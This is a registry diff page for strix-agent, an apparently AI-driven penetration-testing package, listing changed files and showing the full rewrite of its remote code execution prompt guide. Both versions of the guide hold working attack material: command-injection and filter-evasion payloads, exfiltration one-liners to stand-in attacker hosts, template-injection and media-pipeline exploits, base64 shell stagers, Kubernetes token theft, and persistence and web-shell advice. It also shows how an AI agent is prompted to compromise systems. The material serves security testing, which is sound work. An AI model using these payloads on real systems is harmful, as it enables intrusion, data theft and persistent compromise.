strix-agent 0.1.18__py3-none-any.whl → 0.3.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of strix-agent might be problematic. Click here for more details.

Files changed (68) hide show
  1. strix/agents/StrixAgent/strix_agent.py +49 -39
  2. strix/agents/StrixAgent/system_prompt.jinja +23 -10
  3. strix/agents/base_agent.py +90 -10
  4. strix/agents/state.py +23 -2
  5. strix/interface/cli.py +171 -0
  6. strix/interface/main.py +482 -0
  7. strix/{cli → interface}/tool_components/base_renderer.py +2 -2
  8. strix/{cli → interface}/tool_components/reporting_renderer.py +2 -1
  9. strix/{cli → interface}/tool_components/scan_info_renderer.py +17 -12
  10. strix/{cli/app.py → interface/tui.py} +107 -31
  11. strix/interface/utils.py +435 -0
  12. strix/prompts/README.md +64 -0
  13. strix/prompts/__init__.py +1 -1
  14. strix/prompts/cloud/.gitkeep +0 -0
  15. strix/prompts/custom/.gitkeep +0 -0
  16. strix/prompts/frameworks/fastapi.jinja +142 -0
  17. strix/prompts/frameworks/nextjs.jinja +126 -0
  18. strix/prompts/protocols/graphql.jinja +215 -0
  19. strix/prompts/reconnaissance/.gitkeep +0 -0
  20. strix/prompts/technologies/firebase_firestore.jinja +177 -0
  21. strix/prompts/technologies/supabase.jinja +189 -0
  22. strix/prompts/vulnerabilities/authentication_jwt.jinja +133 -115
  23. strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
  24. strix/prompts/vulnerabilities/business_logic.jinja +146 -118
  25. strix/prompts/vulnerabilities/csrf.jinja +137 -131
  26. strix/prompts/vulnerabilities/idor.jinja +149 -118
  27. strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
  28. strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
  29. strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
  30. strix/prompts/vulnerabilities/race_conditions.jinja +135 -165
  31. strix/prompts/vulnerabilities/rce.jinja +128 -180
  32. strix/prompts/vulnerabilities/sql_injection.jinja +128 -192
  33. strix/prompts/vulnerabilities/ssrf.jinja +118 -151
  34. strix/prompts/vulnerabilities/xss.jinja +144 -196
  35. strix/prompts/vulnerabilities/xxe.jinja +151 -243
  36. strix/runtime/docker_runtime.py +28 -7
  37. strix/runtime/runtime.py +4 -1
  38. strix/telemetry/__init__.py +4 -0
  39. strix/{cli → telemetry}/tracer.py +21 -9
  40. strix/tools/agents_graph/agents_graph_actions.py +17 -12
  41. strix/tools/agents_graph/agents_graph_actions_schema.xml +10 -14
  42. strix/tools/executor.py +1 -1
  43. strix/tools/finish/finish_actions.py +1 -1
  44. strix/tools/registry.py +1 -1
  45. strix/tools/reporting/reporting_actions.py +1 -1
  46. {strix_agent-0.1.18.dist-info → strix_agent-0.3.1.dist-info}/METADATA +95 -15
  47. strix_agent-0.3.1.dist-info/RECORD +115 -0
  48. strix_agent-0.3.1.dist-info/entry_points.txt +3 -0
  49. strix/cli/main.py +0 -702
  50. strix_agent-0.1.18.dist-info/RECORD +0 -99
  51. strix_agent-0.1.18.dist-info/entry_points.txt +0 -3
  52. /strix/{cli → interface}/__init__.py +0 -0
  53. /strix/{cli/assets/cli.tcss → interface/assets/tui_styles.tcss} +0 -0
  54. /strix/{cli → interface}/tool_components/__init__.py +0 -0
  55. /strix/{cli → interface}/tool_components/agents_graph_renderer.py +0 -0
  56. /strix/{cli → interface}/tool_components/browser_renderer.py +0 -0
  57. /strix/{cli → interface}/tool_components/file_edit_renderer.py +0 -0
  58. /strix/{cli → interface}/tool_components/finish_renderer.py +0 -0
  59. /strix/{cli → interface}/tool_components/notes_renderer.py +0 -0
  60. /strix/{cli → interface}/tool_components/proxy_renderer.py +0 -0
  61. /strix/{cli → interface}/tool_components/python_renderer.py +0 -0
  62. /strix/{cli → interface}/tool_components/registry.py +0 -0
  63. /strix/{cli → interface}/tool_components/terminal_renderer.py +0 -0
  64. /strix/{cli → interface}/tool_components/thinking_renderer.py +0 -0
  65. /strix/{cli → interface}/tool_components/user_message_renderer.py +0 -0
  66. /strix/{cli → interface}/tool_components/web_search_renderer.py +0 -0
  67. {strix_agent-0.1.18.dist-info → strix_agent-0.3.1.dist-info}/LICENSE +0 -0
  68. {strix_agent-0.1.18.dist-info → strix_agent-0.3.1.dist-info}/WHEEL +0 -0
@@ -1,206 +1,154 @@
1
1
  <rce_vulnerability_guide>
2
- <title>REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION</title>
3
-
4
- <critical>RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques.</critical>
5
-
6
- <common_injection_contexts>
7
- - System commands: ping, nslookup, traceroute, whois
8
- - File operations: upload, download, convert, resize
9
- - PDF generators: wkhtmltopdf, phantomjs
10
- - Image processors: ImageMagick, GraphicsMagick
11
- - Media converters: ffmpeg, sox
12
- - Archive handlers: tar, zip, 7z
13
- - Version control: git, svn operations
14
- - LDAP queries
15
- - Database backup/restore
16
- - Email sending functions
17
- </common_injection_contexts>
18
-
19
- <detection_methods>
2
+ <title>REMOTE CODE EXECUTION (RCE)</title>
3
+
4
+ <critical>RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.</critical>
5
+
6
+ <scope>
7
+ - OS command execution via wrappers (shells, system utilities, CLIs)
8
+ - Dynamic evaluation: template engines, expression languages, eval/vm
9
+ - Insecure deserialization and gadget chains across languages
10
+ - Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg)
11
+ - SSRF→internal services that expose execution primitives (FastCGI, Redis)
12
+ - Container/Kubernetes escalation from app RCE to node/cluster compromise
13
+ </scope>
14
+
15
+ <methodology>
16
+ 1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks.
17
+ 2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps.
18
+ 3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress.
19
+ 4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary.
20
+ </methodology>
21
+
22
+ <detection_channels>
20
23
  <time_based>
21
- - Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10)
22
- - Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 ||
23
- - PowerShell: ;Start-Sleep -s 10 #
24
+ - Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise
25
+ - Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1
24
26
  </time_based>
25
27
 
26
- <dns_oob>
27
- - nslookup $(whoami).attacker.com
28
- - ping $(hostname).attacker.com
29
- - curl http://$(cat /etc/passwd | base64).attacker.com
30
- </dns_oob>
28
+ <oast>
29
+ - DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %}
30
+ - HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL)
31
+ </oast>
31
32
 
32
33
  <output_based>
33
- - Direct: ;cat /etc/passwd
34
- - Encoded: ;cat /etc/passwd | base64
35
- - Hex: ;xxd -p /etc/passwd
34
+ - Direct: ;id;uname -a;whoami
35
+ - Encoded: ;(id;hostname)|base64; hex via xxd -p
36
36
  </output_based>
37
- </detection_methods>
38
-
39
- <command_injection_vectors>
40
- <basic_payloads>
41
- ; id
42
- | id
43
- || id
44
- & id
45
- && id
46
- `id`
47
- $(id)
48
- ${IFS}id
49
- </basic_payloads>
50
-
51
- <bypass_techniques>
52
- - Space bypass: ${IFS}, $IFS$9, <, %09 (tab)
53
- - Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i
54
- - Command substitution: $(a=c;b=at;$a$b /etc/passwd)
55
- - Encoding: echo 'aWQ=' | base64 -d | sh
56
- - Case variation: WhOaMi (Windows)
57
- </bypass_techniques>
58
- </command_injection_vectors>
59
-
60
- <language_specific_rce>
61
- <php>
62
- - eval() with user input
63
- - system(), exec(), shell_exec(), passthru()
64
- - preg_replace with /e modifier
65
- - assert() with string input
66
- - unserialize() exploitation
67
- </php>
68
-
69
- <python>
70
- - eval(), exec()
71
- - subprocess.call(shell=True)
72
- - os.system()
73
- - pickle deserialization
74
- - yaml.load()
75
- </python>
76
-
77
- <java>
78
- - Runtime.getRuntime().exec()
79
- - ProcessBuilder
80
- - ScriptEngine eval
81
- - JNDI injection
82
- - Expression Language injection
83
- </java>
84
-
85
- <nodejs>
86
- - eval()
87
- - child_process.exec()
88
- - vm.runInContext()
89
- - require() pollution
90
- </nodejs>
91
- </language_specific_rce>
92
-
93
- <advanced_exploitation>
94
- <polyglot_payloads>
95
- Works in multiple contexts:
96
- ;id;#' |id| #" |id| #
97
- {% raw %}${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}{% endraw %}
98
- </polyglot_payloads>
99
-
100
- <blind_rce>
101
- - DNS exfiltration: $(whoami).evil.com
102
- - HTTP callbacks: curl evil.com/$(id)
103
- - Time delays for boolean extraction
104
- - Write to web root
105
- </blind_rce>
106
-
107
- <chained_exploitation>
108
- 1. Command injection → Write webshell
109
- 2. File upload → LFI → RCE
110
- 3. XXE → SSRF → internal RCE
111
- 4. SQLi → INTO OUTFILE → RCE
112
- </chained_exploitation>
113
- </advanced_exploitation>
114
-
115
- <specific_contexts>
116
- <imagemagick>
117
- push graphic-context
118
- viewbox 0 0 640 480
119
- fill 'url(https://evil.com/image.jpg"|id > /tmp/output")'
120
- pop graphic-context
121
- </imagemagick>
122
-
123
- <ghostscript>
124
- %!PS
125
- /outfile (%pipe%id) (w) file def
126
- </ghostscript>
127
-
128
- <ffmpeg>
129
- #EXTM3U
130
- #EXT-X-TARGETDURATION:1
131
- #EXTINF:1.0,
132
- concat:|file:///etc/passwd
133
- </ffmpeg>
134
-
135
- <latex>
136
- \immediate\write18{id > /tmp/pwn}
137
- \input{|"cat /etc/passwd"}
138
- </latex>
139
- </specific_contexts>
140
-
141
- <container_escapes>
37
+ </detection_channels>
38
+
39
+ <command_injection>
40
+ <delimiters_and_operators>
41
+ - ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^
42
+ </delimiters_and_operators>
43
+
44
+ <argument_injection>
45
+ - Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes
46
+ - Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...)
47
+ </argument_injection>
48
+
49
+ <path_and_builtin_confusion>
50
+ - Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered
51
+ - Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered
52
+ </path_and_builtin_confusion>
53
+
54
+ <evasion>
55
+ - Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations
56
+ - Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b
57
+ - Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
58
+ </evasion>
59
+ </command_injection>
60
+
61
+ <template_injection>
62
+ - Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
63
+ - Move from expression to code execution primitives (read file, run command)
64
+ - Minimal probes:
65
+ {% raw %}
66
+ Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
67
+ Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
68
+ Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
69
+ EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
70
+ {% endraw %}
71
+ </template_injection>
72
+
73
+ <deserialization_and_el>
74
+ - Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
75
+ - .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC
76
+ - PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins
77
+ - Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches
78
+ - Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec
79
+ </deserialization_and_el>
80
+
81
+ <media_and_document_pipelines>
82
+ - ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats
83
+ {% raw %}
84
+ Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context
85
+ {% endraw %}
86
+ - Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators
87
+ - ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs)
88
+ - LaTeX: \write18/--shell-escape, \input piping; pandoc filters
89
+ - ffmpeg: concat/protocol tricks mediated by compile-time flags
90
+ </media_and_document_pipelines>
91
+
92
+ <ssrf_to_rce>
93
+ - FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts)
94
+ - Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed
95
+ - Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally
96
+ </ssrf_to_rce>
97
+
98
+ <container_and_kubernetes>
142
99
  <docker>
143
- - Privileged containers: mount host filesystem
144
- - Docker.sock exposure
145
- - Kernel exploits
146
- - /proc/self/exe overwrite
100
+ - From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print)
101
+ - Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged
147
102
  </docker>
148
103
 
149
104
  <kubernetes>
150
- - Service account tokens
151
- - Kubelet API access
152
- - Container breakout to node
105
+ - Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC
106
+ - Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth
107
+ - Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow
153
108
  </kubernetes>
154
- </container_escapes>
155
-
156
- <waf_bypasses>
157
- - Unicode normalization
158
- - Double URL encoding
159
- - Case variation mixing
160
- - Null bytes: %00
161
- - Comments: /**/i/**/d
162
- - Alternative commands: hostname vs uname -n
163
- - Path traversal: /usr/bin/id vs id
164
- </waf_bypasses>
109
+ </container_and_kubernetes>
110
+
111
+ <post_exploitation>
112
+ - Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)
113
+ - Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD
114
+ - Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens
115
+ </post_exploitation>
116
+
117
+ <waf_and_filter_bypasses>
118
+ - Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers
119
+ - Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses
120
+ </waf_and_filter_bypasses>
165
121
 
166
122
  <validation>
167
- To confirm RCE:
168
- 1. Execute unique command (id, hostname)
169
- 2. Demonstrate file system access
170
- 3. Show command output retrieval
171
- 4. Achieve reverse shell
172
- 5. Prove consistent execution
123
+ 1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution.
124
+ 2. Show command context (uid, gid, cwd, env) and controlled output.
125
+ 3. Demonstrate persistence or file write under application constraints.
126
+ 4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed.
127
+ 5. Keep PoCs minimal and reproducible across runs and transports.
173
128
  </validation>
174
129
 
175
130
  <false_positives>
176
- NOT RCE if:
177
- - Only crashes application
178
- - Limited to specific commands
179
- - Sandboxed/containerized properly
180
- - No actual command execution
181
- - Output not retrievable
131
+ - Only crashes or timeouts without controlled behavior
132
+ - Filtered execution of a limited command subset with no attacker-controlled args
133
+ - Sandboxed interpreters executing in a restricted VM with no IO or process spawn
134
+ - Simulated outputs not derived from executed commands
182
135
  </false_positives>
183
136
 
184
137
  <impact>
185
- - Complete system compromise
186
- - Data exfiltration
187
- - Lateral movement
188
- - Backdoor installation
189
- - Service disruption
138
+ - Remote system control under application user; potential privilege escalation to root
139
+ - Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
140
+ - Cluster compromise when combined with container/Kubernetes misconfigurations
190
141
  </impact>
191
142
 
192
143
  <pro_tips>
193
- 1. Try all delimiters: ; | || & &&
194
- 2. Test both Unix and Windows commands
195
- 3. Use time-based for blind confirmation
196
- 4. Chain with other vulnerabilities
197
- 5. Check sudo permissions post-exploit
198
- 6. Look for SUID binaries
199
- 7. Test command substitution variants
200
- 8. Monitor DNS for blind RCE
201
- 9. Try polyglot payloads first
202
- 10. Document full exploitation path
144
+ 1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise.
145
+ 2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control.
146
+ 3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates.
147
+ 4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads.
148
+ 5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice.
149
+ 6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies.
150
+ 7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops.
203
151
  </pro_tips>
204
152
 
205
- <remember>Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection.</remember>
153
+ <remember>RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.</remember>
206
154
  </rce_vulnerability_guide>